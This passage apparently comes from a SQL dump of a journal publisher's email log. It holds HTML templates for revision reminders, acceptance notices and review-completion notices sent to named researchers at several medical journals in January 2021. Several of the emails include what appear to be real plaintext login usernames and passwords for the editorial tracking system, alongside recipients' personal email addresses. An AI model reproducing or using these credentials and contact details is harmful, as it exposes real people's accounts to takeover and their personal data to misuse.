/>\r\n<br />\r\nDear <b>Dr. Pajaro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-20-6960</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>nehomar</b><br />\r\npassword: <b>GV8UUOD7</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','neho94@hotmail.com',6960,'2021-01-11',274),(2460,'<p>Ref.:  Ms. No. : <b>ipadm-20-6971</b><br />\r\n<br />\r\nARTICLE TITLE: <b>FACTORES ASOCIADOS AL TIEMPO DE ATENCI&Oacute;N DE PACIENTES CON DIAGN&Oacute;STICO DE IAMCEST SOMETIDOS A TERAPIA DE REPERFUSI&Oacute;N EN DOS CL&Iacute;NICAS EN IBAGU&Eacute;</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Pajaro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-20-6971</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>nehomar</b><br />\r\npassword: <b>GV8UUOD7</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','neho94@hotmail.com',6971,'2021-01-11',274),(2462,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6707</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Assessment of Red Blood cell Morphology in Anaemic Children</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mwesige</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','smwesige@sun.ac.ug',6707,'2021-01-11',85),(2466,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7080</b><br />\r\n            <br />\r\n            Article Title: <b>AWARENESS, USE, CARE OF INSECTICIDE-TREATED BED NETS AMONG PREGNANT WOMEN IN BUEA (BUEA) AND BONASSAMA (DOUALA) HEALTH DISTRICTS, CAMEROON.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bonaventure</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tientche.bonaventure@ubuea.cm',7080,'2021-01-13',48),(2467,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7093</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of electromagnetic radiation emitted by telephones: a cross-sectional study in confinement in Angola </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rodino</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','analcisio@hotmail.com',7093,'2021-01-15',48),(2468,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7091</b><br />\r\n            <br />\r\n            Article Title: <b>Multi-component School-Based Weight-Management Program Improves Physical Fitness and Vascular Reactivity in Obese Adolescents</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chuensiri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','napasakorn.c@chula.ac.th',7091,'2021-01-15',48),(2469,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7089</b><br />\r\n            <br />\r\n            Article Title: <b>THE INTERCONNECTION BETWEEN MASKS AND ORAL HEALTH</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Itodo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ewieise@gmail.com',7089,'2021-01-15',48),(2470,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7077</b><br />\r\n            <br />\r\n            Article Title: <b>Determination of donor loyalty among blood donors in Transfusion Center of Urmia (The fourth quarter 2020)(2)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>seyfi targhi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mehkasali@gmail.com',7077,'2021-01-15',48),(2473,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7030</b><br />\r\n            <br />\r\n            Article Title: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Gul Ilhan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7030</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',7030,'2021-01-15',85),(2475,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6368</b><br />\r\n            <br />\r\n            Article Title: <b>Potential role of MRI in reducing the cost burden of stroke mimic patients </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ehsan Esmaili Shandiz</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6368</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',6368,'2021-01-18',75),(2476,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6368</b><br />\r\n            <br />\r\n            Article Title: <b>Potential role of MRI in reducing the cost burden of stroke mimic patients </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Esmaili Shandiz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','esmailies79@gmail.com',6368,'2021-01-18',75),(2479,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6684</b><br />\r\n            <br />\r\n            Article Title: <b>NEW ONSET OCULAR MYASTHENIA GRAVIS  AFTER PEMBROLIZUMAB THERAPY: A CASE REPORT</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Samantha Anne Gutierrez</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6684</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',6684,'2021-01-19',75),(2480,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6684</b><br />\r\n            <br />\r\n            Article Title: <b>NEW ONSET OCULAR MYASTHENIA GRAVIS  AFTER PEMBROLIZUMAB THERAPY: A CASE REPORT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gutierrez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sam14gutierrez@yahoo.com',6684,'2021-01-19',75),(2484,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6848</b><br />\r\n            <br />\r\n            Article Title: <b>An Unusual Case of Facial Swelling</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Bruce Grattan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6848</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',6848,'2021-01-19',85),(2485,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6905</b><br />\r\n            <br />\r\n            Article Title: <b>Factors Contributing to the Length of Stay in Patients Admitted to the Epilepsy Monitoring Unit</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ashwaq Alsulami</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6905</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',6905,'2021-01-19',75),(2487,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7102</b><br />\r\n            <br />\r\n            Article Title: <b>Case report: Acute Bilateral Sacroiliitis due to the use of oral Isotretinoin</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mon&Atilde;&sect;&Atilde;&pound;o Basso</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anacmbasso@gmail.com',7102,'2021-01-19',48),(2489,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7062</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, Attitudes and Practices of King Abdulaziz Undergraduate Nursing towards Novel Corona Virus (COVID 19)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hasan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aalhasan@fcms.edu.sa',7062,'2021-01-20',48),(2490,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6905</b><br />\r\n            <br />\r\n            Article Title: <b>Factors Contributing to the Length of Stay in Patients Admitted to the Epilepsy Monitoring Unit</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alsulami</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alsulamiashwaq@gmail.com',6905,'2021-01-20',75),(2492,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7117</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of voluntary medical male circumcision and factors associated with low uptake among   men aged 20 years and older in Mpanda municipal council</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Semwali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-21</b><br />\r\n            <br />\r\n            <div 